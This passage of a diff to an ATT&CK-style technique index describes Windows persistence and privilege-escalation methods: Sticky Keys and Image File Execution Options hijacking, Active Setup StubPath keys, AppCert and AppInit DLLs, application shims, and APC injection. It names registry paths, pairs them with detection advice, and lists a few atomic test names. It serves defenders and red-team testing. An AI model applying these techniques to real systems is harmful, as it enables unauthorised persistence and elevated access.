+        description: Microsoft TechNet. (n.d.). Retrieved April 25, 2017.
+        url: https://msdn.microsoft.com/en-us/library/windows/desktop/aa378184(v=vs.85).aspx
+      - source_name: Microsoft DuplicateTokenEx
+        description: Microsoft TechNet. (n.d.). Retrieved April 25, 2017.
+        url: https://msdn.microsoft.com/en-us/library/windows/desktop/aa446617(v=vs.85).aspx
+      - source_name: Microsoft ImpersonateLoggedOnUser
+        description: Microsoft TechNet. (n.d.). Retrieved April 25, 2017.
+        url: https://msdn.microsoft.com/en-us/library/windows/desktop/aa378612(v=vs.85).aspx
+      - source_name: BlackHat Atkinson Winchester Token Manipulation
+        description: 'Atkinson, J., Winchester, R. (2017, December 7). A Process is
+          No One: Hunting for Token Manipulation. Retrieved December 21, 2017.'
+        url: https://www.blackhat.com/docs/eu-17/materials/eu-17-Atkinson-A-Process-Is-No-One-Hunting-For-Token-Manipulation.pdf
     atomic_tests: []
   T1546.008:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1546.008
-        url: https://attack.mitre.org/techniques/T1546/008
-      - external_id: CAPEC-558
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/558.html
-      - url: https://www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-1.html
-        description: 'Glyer, C., Kazanciyan, R. (2012, August 20). The “Hikit” Rootkit:
-          Advanced and Persistent Attack Techniques (Part 1). Retrieved June 6, 2016.'
-        source_name: FireEye Hikit Rootkit
-      - url: https://www.slideshare.net/DennisMaldonado5/sticky-keys-to-the-kingdom
-        description: Maldonado, D., McGuffin, T. (2016, August 6). Sticky Keys to
-          the Kingdom. Retrieved July 5, 2017.
-        source_name: DEFCON2016 Sticky Keys
-      - url: http://blog.crowdstrike.com/registry-analysis-with-crowdresponse/
-        description: Tilbury, C. (2014, August 28). Registry Analysis with CrowdResponse.
-          Retrieved November 12, 2014.
-        source_name: Tilbury 2014
-      - source_name: Narrator Accessibility Abuse
-        url: https://giuliocomi.blogspot.com/2019/10/abusing-windows-10-narrators-feedback.html
-        description: Comi, G. (2019, October 19). Abusing Windows 10 Narrator's 'Feedback-Hub'
-          URI for Fileless Persistence. Retrieved April 28, 2020.
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Accessibility Features
+      x_mitre_data_sources:
+      - 'Process: Process Creation'
+      - 'Windows Registry: Windows Registry Key Modification'
+      - 'Command: Command Execution'
+      - 'File: File Creation'
+      - 'File: File Modification'
+      x_mitre_version: '1.0'
+      modified: '2020-05-13T20:37:30.048Z'
+      created: '2020-01-24T14:32:40.315Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: privilege-escalation
+      - kill_chain_name: mitre-attack
+        phase_name: persistence
+      id: attack-pattern--70e52b04-2a0c-4cea-9d18-7149f1df9dc5
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - Administrator
       description: |-
         Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by accessibility features. Windows contains accessibility features that may be launched with a key combination before a user has logged in (ex: when the user is on the Windows logon screen). An adversary can modify the way these programs are launched to get a command prompt or backdoor without logging in to the system.
 
@@ -10639,37 +10806,40 @@ privilege-escalation:
         * Narrator: <code>C:\Windows\System32\Narrator.exe</code>
         * Display Switcher: <code>C:\Windows\System32\DisplaySwitch.exe</code>
         * App Switcher: <code>C:\Windows\System32\AtBroker.exe</code>
-      id: attack-pattern--70e52b04-2a0c-4cea-9d18-7149f1df9dc5
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: privilege-escalation
-      - kill_chain_name: mitre-attack
-        phase_name: persistence
-      modified: '2020-05-13T20:37:30.048Z'
-      created: '2020-01-24T14:32:40.315Z'
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
       x_mitre_effective_permissions:
       - SYSTEM
-      x_mitre_permissions_required:
-      - Administrator
+      x_mitre_contributors:
+      - Paul Speulstra, AECOM Global Security Operations Center
       x_mitre_detection: Changes to accessibility utility binaries or binary paths
         that do not correlate with known software, patch cycles, etc., are suspicious.
         Command line invocation of tools capable of modifying the Registry for associated
         keys are also suspicious. Utility arguments and the binaries themselves should
         be monitored for changes. Monitor Registry keys within <code>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
         NT\CurrentVersion\Image File Execution Options</code>.
-      x_mitre_data_sources:
-      - 'Process: Process Creation'
-      - 'Windows Registry: Windows Registry Key Modification'
-      - 'Command: Command Execution'
-      - 'File: File Creation'
-      - 'File: File Modification'
-      x_mitre_contributors:
-      - Paul Speulstra, AECOM Global Security Operations Center
-      x_mitre_platforms:
-      - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1546/008
+        external_id: T1546.008
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/558.html
+        external_id: CAPEC-558
+        source_name: capec
+      - source_name: FireEye Hikit Rootkit
+        description: 'Glyer, C., Kazanciyan, R. (2012, August 20). The “Hikit” Rootkit:
+          Advanced and Persistent Attack Techniques (Part 1). Retrieved June 6, 2016.'
+        url: https://www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-1.html
+      - source_name: DEFCON2016 Sticky Keys
+        description: Maldonado, D., McGuffin, T. (2016, August 6). Sticky Keys to
+          the Kingdom. Retrieved July 5, 2017.
+        url: https://www.slideshare.net/DennisMaldonado5/sticky-keys-to-the-kingdom
+      - source_name: Tilbury 2014
+        description: Tilbury, C. (2014, August 28). Registry Analysis with CrowdResponse.
+          Retrieved November 12, 2014.
+        url: http://blog.crowdstrike.com/registry-analysis-with-crowdresponse/
+      - url: https://giuliocomi.blogspot.com/2019/10/abusing-windows-10-narrators-feedback.html
+        description: Comi, G. (2019, October 19). Abusing Windows 10 Narrator's 'Feedback-Hub'
+          URI for Fileless Persistence. Retrieved April 28, 2020.
+        source_name: Narrator Accessibility Abuse
       identifier: T1546.008
     atomic_tests:
     - name: Attaches Command Prompt as a Debugger to a List of Target Processes
@@ -10743,99 +10913,97 @@ privilege-escalation:
         elevation_required: true
   T1547.014:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1547.014
-        url: https://attack.mitre.org/techniques/T1547/014
-      - source_name: Klein Active Setup 2010
-        url: https://helgeklein.com/blog/2010/04/active-setup-explained/
-        description: Klein, H. (2010, April 22). Active Setup Explained. Retrieved
-          December 18, 2020.
-      - source_name: Mandiant Glyer APT 2010
-        url: https://digital-forensics.sans.org/summit-archives/2010/35-glyer-apt-persistence-mechanisms.pdf
-        description: Glyer, C. (2010). Examples of Recent APT Persitence Mechanism.
-          Retrieved December 18, 2020.
-      - source_name: Citizenlab Packrat 2015
-        url: https://citizenlab.ca/2015/12/packrat-report/
-        description: Scott-Railton, J., et al. (2015, December 8). Packrat. Retrieved
-          December 18, 2020.
-      - source_name: FireEye CFR Watering Hole 2012
-        url: https://www.fireeye.com/blog/threat-research/2012/12/council-foreign-relations-water-hole-attack-details.html
-        description: Kindlund, D. (2012, December 30). CFR Watering Hole Attack Details.
-          Retrieved December 18, 2020.
-      - source_name: SECURELIST Bright Star 2015
-        url: https://securelist.com/whos-really-spreading-through-the-bright-star/68978/
-        description: Baumgartner, K., Guerrero-Saade, J. (2015, March 4). Who’s Really
-          Spreading through the Bright Star?. Retrieved December 18, 2020.
-      - source_name: paloalto Tropic Trooper 2016
-        url: https://unit42.paloaltonetworks.com/unit42-tropic-trooper-targets-taiwanese-government-and-fossil-fuel-provider-with-poison-ivy/
-        description: Ray, V., et al. (2016, November 22). Tropic Trooper Targets Taiwanese
-          Government and Fossil Fuel Provider With Poison Ivy. Retrieved December
-          18, 2020.
-      - url: https://technet.microsoft.com/en-us/sysinternals/bb963902
-        description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51.
-          Retrieved June 6, 2016.
-        source_name: TechNet Autoruns
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Active Setup
+      x_mitre_data_sources:
+      - 'Windows Registry: Windows Registry Key Creation'
+      - 'Windows Registry: Windows Registry Key Modification'
+      - 'Process: Process Creation'
+      - 'Command: Command Execution'
+      x_mitre_version: '1.0'
+      modified: '2021-03-05T22:36:37.414Z'
+      created: '2020-12-18T16:33:13.098Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: persistence
+      - kill_chain_name: mitre-attack
+        phase_name: privilege-escalation
+      id: attack-pattern--22522668-ddf6-470b-a027-9d6866679f67
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - Administrator
       description: |-
         Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine. Active Setup is a Windows mechanism that is used to execute programs when a user logs in. The value stored in the Registry key will be executed after a user logs into the computer.(Citation: Klein Active Setup 2010) These programs will be executed under the context of the user and will have the account's associated permissions level.
 
         Adversaries may abuse Active Setup by creating a key under <code> HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components\</code> and setting a malicious value for <code>StubPath</code>. This value will serve as the program that will be executed when a user logs into the computer.(Citation: Mandiant Glyer APT 2010)(Citation: Citizenlab Packrat 2015)(Citation: FireEye CFR Watering Hole 2012)(Citation: SECURELIST Bright Star 2015)(Citation: paloalto Tropic Trooper 2016)
 
         Adversaries can abuse these components to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs.
-      id: attack-pattern--22522668-ddf6-470b-a027-9d6866679f67
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: persistence
-      - kill_chain_name: mitre-attack
-        phase_name: privilege-escalation
-      modified: '2021-03-05T22:36:37.414Z'
-      created: '2020-12-18T16:33:13.098Z'
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_permissions_required:
-      - Administrator
+      x_mitre_contributors:
+      - Bencherchali Nasreddine, @nas_bench, ELIT Security Team (DSSD)
       x_mitre_detection: |-
         Monitor Registry key additions and/or modifications to <code>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\</code>.
 
         Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing the Active Setup Registry locations and startup folders.(Citation: TechNet Autoruns) Suspicious program execution as startup programs may show up as outlier processes that have not been seen before when compared against historical data.
-      x_mitre_data_sources:
-      - 'Windows Registry: Windows Registry Key Creation'
-      - 'Windows Registry: Windows Registry Key Modification'
-      - 'Process: Process Creation'
-      - 'Command: Command Execution'
-      x_mitre_contributors:
-      - Bencherchali Nasreddine, @nas_bench, ELIT Security Team (DSSD)
-      x_mitre_platforms:
-      - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1547/014
+        external_id: T1547.014
+        source_name: mitre-attack
+      - url: https://helgeklein.com/blog/2010/04/active-setup-explained/
+        description: Klein, H. (2010, April 22). Active Setup Explained. Retrieved
+          December 18, 2020.
+        source_name: Klein Active Setup 2010
+      - url: https://digital-forensics.sans.org/summit-archives/2010/35-glyer-apt-persistence-mechanisms.pdf
+        description: Glyer, C. (2010). Examples of Recent APT Persitence Mechanism.
+          Retrieved December 18, 2020.
+        source_name: Mandiant Glyer APT 2010
+      - url: https://citizenlab.ca/2015/12/packrat-report/
+        description: Scott-Railton, J., et al. (2015, December 8). Packrat. Retrieved
+          December 18, 2020.
+        source_name: Citizenlab Packrat 2015
+      - url: https://www.fireeye.com/blog/threat-research/2012/12/council-foreign-relations-water-hole-attack-details.html
+        description: Kindlund, D. (2012, December 30). CFR Watering Hole Attack Details.
+          Retrieved December 18, 2020.
+        source_name: FireEye CFR Watering Hole 2012
+      - url: https://securelist.com/whos-really-spreading-through-the-bright-star/68978/
+        description: Baumgartner, K., Guerrero-Saade, J. (2015, March 4). Who’s Really
+          Spreading through the Bright Star?. Retrieved December 18, 2020.
+        source_name: SECURELIST Bright Star 2015
+      - url: https://unit42.paloaltonetworks.com/unit42-tropic-trooper-targets-taiwanese-government-and-fossil-fuel-provider-with-poison-ivy/
+        description: Ray, V., et al. (2016, November 22). Tropic Trooper Targets Taiwanese
+          Government and Fossil Fuel Provider With Poison Ivy. Retrieved December
+          18, 2020.
+        source_name: paloalto Tropic Trooper 2016
+      - source_name: TechNet Autoruns
+        description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51.
+          Retrieved June 6, 2016.
+        url: https://technet.microsoft.com/en-us/sysinternals/bb963902
     atomic_tests: []
   T1546.009:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1546.009
-        url: https://attack.mitre.org/techniques/T1546/009
-      - url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
-        description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques:
-          A Technical Survey Of Common And Trending Process Injection Techniques.
-          Retrieved December 7, 2017.'
-        source_name: Elastic Process Injection July 2017
-      - url: https://technet.microsoft.com/en-us/sysinternals/bb963902
-        description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51.
-          Retrieved June 6, 2016.
-        source_name: TechNet Autoruns
-      - url: https://forum.sysinternals.com/appcertdlls_topic12546.html
-        description: Microsoft. (2007, October 24). Windows Sysinternals - AppCertDlls.
-          Retrieved December 18, 2017.
-        source_name: Sysinternals AppCertDlls Oct 2007
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: AppCert DLLs
+      x_mitre_data_sources:
+      - 'Process: Process Creation'
+      - 'Windows Registry: Windows Registry Key Modification'
+      - 'Command: Command Execution'
+      - 'Module: Module Load'
+      x_mitre_version: '1.0'
+      modified: '2020-11-10T18:29:31.052Z'
+      created: '2020-01-24T14:47:41.795Z'
+      x_mitre_permissions_required:
+      - Administrator
+      - SYSTEM
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--7d57b371-10c2-45e5-b3cc-83a8fb380e4c
       description: "Adversaries may establish persistence and/or elevate privileges
         by executing malicious content triggered by AppCert DLLs loaded into processes.
         Dynamic-link libraries (DLLs) that are specified in the <code>AppCertDLLs</code>
@@ -10849,23 +11017,14 @@ privilege-escalation:
         be loaded and run in the context of separate processes on the computer. Malicious
         AppCert DLLs may also provide persistence by continuously being triggered
         by API activity. "
-      id: attack-pattern--7d57b371-10c2-45e5-b3cc-83a8fb380e4c
-      type: attack-pattern
+      x_mitre_effective_permissions:
+      - Administrator
+      - SYSTEM
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: privilege-escalation
       - kill_chain_name: mitre-attack
         phase_name: persistence
-      modified: '2020-11-10T18:29:31.052Z'
-      created: '2020-01-24T14:47:41.795Z'
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_effective_permissions:
-      - Administrator
-      - SYSTEM
-      x_mitre_permissions_required:
-      - Administrator
-      - SYSTEM
       x_mitre_detection: "Monitor DLL loads by processes, specifically looking for
         DLLs that are not recognized or not normally loaded into a process. Monitor
         the AppCertDLLs Registry value for modifications that do not correlate with
@@ -10879,41 +11038,67 @@ privilege-escalation:
         but as part of a chain of behavior that could lead to other activities, such
         as making network connections for Command and Control, learning details about
         the environment through Discovery, and conducting Lateral Movement."
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1546/009
+        external_id: T1546.009
+        source_name: mitre-attack
+      - source_name: Elastic Process Injection July 2017
+        description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques:
+          A Technical Survey Of Common And Trending Process Injection Techniques.
+          Retrieved December 7, 2017.'
+        url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
+      - source_name: TechNet Autoruns
+        description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51.
+          Retrieved June 6, 2016.
+        url: https://technet.microsoft.com/en-us/sysinternals/bb963902
+      - source_name: Sysinternals AppCertDlls Oct 2007
+        description: Microsoft. (2007, October 24). Windows Sysinternals - AppCertDlls.
+          Retrieved December 18, 2017.
+        url: https://forum.sysinternals.com/appcertdlls_topic12546.html
+    atomic_tests: []
+  T1546.010:
+    technique:
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: AppInit DLLs
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1546/010
+        external_id: T1546.010
+        source_name: mitre-attack
+      - source_name: Elastic Process Injection July 2017
+        description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques:
+          A Technical Survey Of Common And Trending Process Injection Techniques.
+          Retrieved December 7, 2017.'
+        url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
+      - source_name: AppInit Registry
+        description: Microsoft. (2006, October). Working with the AppInit_DLLs registry
+          value. Retrieved July 15, 2015.
+        url: https://support.microsoft.com/en-us/kb/197571
+      - source_name: AppInit Secure Boot
+        description: Microsoft. (n.d.). AppInit DLLs and Secure Boot. Retrieved July
+          15, 2015.
+        url: https://msdn.microsoft.com/en-us/library/dn280412
+      - source_name: TechNet Autoruns
+        description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51.
+          Retrieved June 6, 2016.
+        url: https://technet.microsoft.com/en-us/sysinternals/bb963902
       x_mitre_data_sources:
       - 'Process: Process Creation'
       - 'Windows Registry: Windows Registry Key Modification'
       - 'Command: Command Execution'
       - 'Module: Module Load'
+      x_mitre_version: '1.0'
+      modified: '2020-11-10T18:29:31.076Z'
+      x_mitre_system_requirements:
+      - Secure boot disabled on systems running Windows 8 and later
+      id: attack-pattern--cc89ecbd-3d33-4a41-bcca-001e702d18fd
       x_mitre_platforms:
       - Windows
-    atomic_tests: []
-  T1546.010:
-    technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1546.010
-        url: https://attack.mitre.org/techniques/T1546/010
-      - url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
-        description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques:
-          A Technical Survey Of Common And Trending Process Injection Techniques.
-          Retrieved December 7, 2017.'
-        source_name: Elastic Process Injection July 2017
-      - url: https://support.microsoft.com/en-us/kb/197571
-        description: Microsoft. (2006, October). Working with the AppInit_DLLs registry
-          value. Retrieved July 15, 2015.
-        source_name: AppInit Registry
-      - url: https://msdn.microsoft.com/en-us/library/dn280412
-        description: Microsoft. (n.d.). AppInit DLLs and Secure Boot. Retrieved July
-          15, 2015.
-        source_name: AppInit Secure Boot
-      - url: https://technet.microsoft.com/en-us/sysinternals/bb963902
-        description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51.
-          Retrieved June 6, 2016.
-        source_name: TechNet Autoruns
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: AppInit DLLs
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - Administrator
       description: "Adversaries may establish persistence and/or elevate privileges
         by executing malicious content triggered by AppInit DLLs loaded into processes.
         Dynamic-link libraries (DLLs) that are specified in the <code>AppInit_DLLs</code>
@@ -10928,24 +11113,14 @@ privilege-escalation:
         DLLs may also provide persistence by continuously being triggered by API activity.
         \n\nThe AppInit DLL functionality is disabled in Windows 8 and later versions
         when secure boot is enabled. (Citation: AppInit Secure Boot)"
-      id: attack-pattern--cc89ecbd-3d33-4a41-bcca-001e702d18fd
-      type: attack-pattern
+      x_mitre_effective_permissions:
+      - Administrator
+      - SYSTEM
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: privilege-escalation
       - kill_chain_name: mitre-attack
         phase_name: persistence
-      modified: '2020-11-10T18:29:31.076Z'
-      created: '2020-01-24T14:52:25.589Z'
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_system_requirements:
-      - Secure boot disabled on systems running Windows 8 and later
-      x_mitre_effective_permissions:
-      - Administrator
-      - SYSTEM
-      x_mitre_permissions_required:
-      - Administrator
       x_mitre_detection: "Monitor DLL loads by processes that load user32.dll and
         look for DLLs that are not recognized or not normally loaded into a process.
         Monitor the AppInit_DLLs Registry values for modifications that do not correlate
@@ -10960,13 +11135,8 @@ privilege-escalation:
         lead to other activities, such as making network connections for Command and
         Control, learning details about the environment through Discovery, and conducting
         Lateral Movement."
-      x_mitre_data_sources:
-      - 'Process: Process Creation'
-      - 'Windows Registry: Windows Registry Key Modification'
-      - 'Command: Command Execution'
-      - 'Module: Module Load'
-      x_mitre_platforms:
-      - Windows
+      created: '2020-01-24T14:52:25.589Z'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
       identifier: T1546.010
     atomic_tests:
     - name: Install AppInit Shim
@@ -11030,27 +11200,25 @@ privilege-escalation:
         elevation_required: true
   T1546.011:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1546.011
-        url: https://attack.mitre.org/techniques/T1546/011
-      - url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
-        description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques:
-          A Technical Survey Of Common And Trending Process Injection Techniques.
-          Retrieved December 7, 2017.'
-        source_name: Elastic Process Injection July 2017
-      - source_name: FireEye Application Shimming
-        url: http://files.brucon.org/2015/Tomczak_and_Ballenthin_Shims_for_the_Win.pdf
-        description: Ballenthin, W., Tomczak, J.. (2015). The Real Shim Shary. Retrieved
-          May 4, 2020.
-      - url: https://www.blackhat.com/docs/eu-15/materials/eu-15-Pierce-Defending-Against-Malicious-Application-Compatibility-Shims-wp.pdf
-        description: Pierce, Sean. (2015, November). Defending Against Malicious Application
-          Compatibility Shims. Retrieved June 22, 2017.
-        source_name: Black Hat 2015 App Shim
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Application Shimming
+      x_mitre_data_sources:
+      - 'Process: Process Creation'
+      - 'Windows Registry: Windows Registry Key Modification'
+      - 'Command: Command Execution'
+      - 'Module: Module Load'
+      - 'File: File Modification'
+      x_mitre_version: '1.0'
+      modified: '2020-11-10T18:29:31.094Z'
+      created: '2020-01-24T14:56:24.231Z'
+      x_mitre_permissions_required:
+      - Administrator
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--42fe883a-21ea-4cfb-b94a-78b6476dcc83
       description: "Adversaries may establish persistence and/or elevate privileges
         by executing malicious content triggered by application shims. The Microsoft
         Windows Application Compatibility Infrastructure/Framework (Application Shim)
@@ -11078,19 +11246,11 @@ privilege-escalation:
         install backdoors, disable defenses like Windows Defender, etc. (Citation:
         FireEye Application Shimming) Shims can also be abused to establish persistence
         by continuously being invoked by affected programs."
-      id: attack-pattern--42fe883a-21ea-4cfb-b94a-78b6476dcc83
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: privilege-escalation
       - kill_chain_name: mitre-attack
         phase_name: persistence
-      modified: '2020-11-10T18:29:31.094Z'
-      created: '2020-01-24T14:56:24.231Z'
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_permissions_required:
-      - Administrator
       x_mitre_detection: |-
         There are several public tools available that will detect shims that are currently available (Citation: Black Hat 2015 App Shim):
 
@@ -11101,14 +11261,24 @@ privilege-escalation:
         * ShimCacheMem - Volatility plug-in that pulls shim cache from memory (note: shims are only cached after reboot)
 
         Monitor process execution for sdbinst.exe and command-line arguments for potential indications of application shim abuse.
-      x_mitre_data_sources:
-      - 'Process: Process Creation'
-      - 'Windows Registry: Windows Registry Key Modification'
-      - 'Command: Command Execution'
-      - 'Module: Module Load'
-      - 'File: File Modification'
-      x_mitre_platforms:
-      - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1546/011
+        external_id: T1546.011
+        source_name: mitre-attack
+      - source_name: Elastic Process Injection July 2017
+        description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques:
+          A Technical Survey Of Common And Trending Process Injection Techniques.
+          Retrieved December 7, 2017.'
+        url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
+      - url: http://files.brucon.org/2015/Tomczak_and_Ballenthin_Shims_for_the_Win.pdf
+        description: Ballenthin, W., Tomczak, J.. (2015). The Real Shim Shary. Retrieved
+          May 4, 2020.
+        source_name: FireEye Application Shimming
+      - source_name: Black Hat 2015 App Shim
+        description: Pierce, Sean. (2015, November). Defending Against Malicious Application
+          Compatibility Shims. Retrieved June 22, 2017.
+        url: https://www.blackhat.com/docs/eu-15/materials/eu-15-Pierce-Defending-Against-Malicious-Application-Compatibility-Shims-wp.pdf
       identifier: T1546.011
     atomic_tests:
     - name: Application Shim Installation
@@ -11197,34 +11367,24 @@ privilege-escalation:
         elevation_required: true
   T1055.004:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1055.004
-        url: https://attack.mitre.org/techniques/T1055/004
-      - url: https://msdn.microsoft.com/library/windows/desktop/ms681951.aspx
-        description: Microsoft. (n.d.). Asynchronous Procedure Calls. Retrieved December
-          8, 2017.
-        source_name: Microsoft APC
-      - url: https://www.cyberbit.com/blog/endpoint-security/new-early-bird-code-injection-technique-discovered/
-        description: Gavriel, H. & Erbesfeld, B. (2018, April 11). New ‘Early Bird’
-          Code Injection Technique Discovered. Retrieved May 24, 2018.
-        source_name: CyberBit Early Bird Apr 2018
-      - url: https://blog.ensilo.com/atombombing-brand-new-code-injection-for-windows
-        description: 'Liberman, T. (2016, October 27). ATOMBOMBING: BRAND NEW CODE
-          INJECTION FOR WINDOWS. Retrieved December 8, 2017.'
-        source_name: ENSIL AtomBombing Oct 2016
-      - url: https://msdn.microsoft.com/library/windows/desktop/ms649053.aspx
-        description: Microsoft. (n.d.). About Atom Tables. Retrieved December 8, 2017.
-        source_name: Microsoft Atom Table
-      - url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
-        description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques:
-          A Technical Survey Of Common And Trending Process Injection Techniques.
-          Retrieved December 7, 2017.'
-        source_name: Elastic Process Injection July 2017
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Asynchronous Procedure Call
+      x_mitre_data_sources:
+      - 'Process: Process Modification'
+      - 'Process: OS API Execution'
+      - 'Process: Process Access'
+      x_mitre_version: '1.1'
+      modified: '2021-10-18T12:23:46.476Z'
+      created: '2020-01-14T01:29:43.786Z'
+      x_mitre_defense_bypassed:
+      - Application control
+      - Anti-virus
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--7c0f17c9-1af6-4628-9cbd-9e45482dd605
       description: "Adversaries may inject malicious code into processes via the asynchronous
         procedure call (APC) queue in order to evade process-based defenses as well
         as possibly elevate privileges. APC injection is a method of executing arbitrary
@@ -11245,21 +11405,11 @@ privilege-escalation:
         to the process's memory, system/network resources, and possibly elevated privileges.
         Execution via APC injection may also evade detection from security products
         since the execution is masked under a legitimate process. "
-      id: attack-pattern--7c0f17c9-1af6-4628-9cbd-9e45482dd605
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: defense-evasion
       - kill_chain_name: mitre-attack
         phase_name: privilege-escalation
-      modified: '2020-11-10T18:29:30.961Z'
-      created: '2020-01-14T01:29:43.786Z'
-      x_mitre_defense_bypassed:
-      - Application control
-      - Anti-virus
-      x_mitre_data_sources:
-      - 'Process: OS API Execution'
-      - 'Process: Process Access'
       x_mitre_detection: "Monitoring Windows API calls indicative of the various types
         of code injection may generate a significant amount of data and may not be
         directly useful for defense unless collected under specific circumstances
@@ -11272,10 +11422,31 @@ privilege-escalation:
         process behavior to determine if a process is performing actions it usually
         does not, such as opening network connections, reading files, or other suspicious
         actions that could relate to post-compromise behavior. "
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_platforms:
-      - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1055/004
+        external_id: T1055.004
+        source_name: mitre-attack
+      - source_name: Microsoft APC
+        description: Microsoft. (n.d.). Asynchronous Procedure Calls. Retrieved December
+          8, 2017.
+        url: https://msdn.microsoft.com/library/windows/desktop/ms681951.aspx
+      - source_name: CyberBit Early Bird Apr 2018
+        description: Gavriel, H. & Erbesfeld, B. (2018, April 11). New ‘Early Bird’
+          Code Injection Technique Discovered. Retrieved May 24, 2018.
+        url: https://www.cyberbit.com/blog/endpoint-security/new-early-bird-code-injection-technique-discovered/
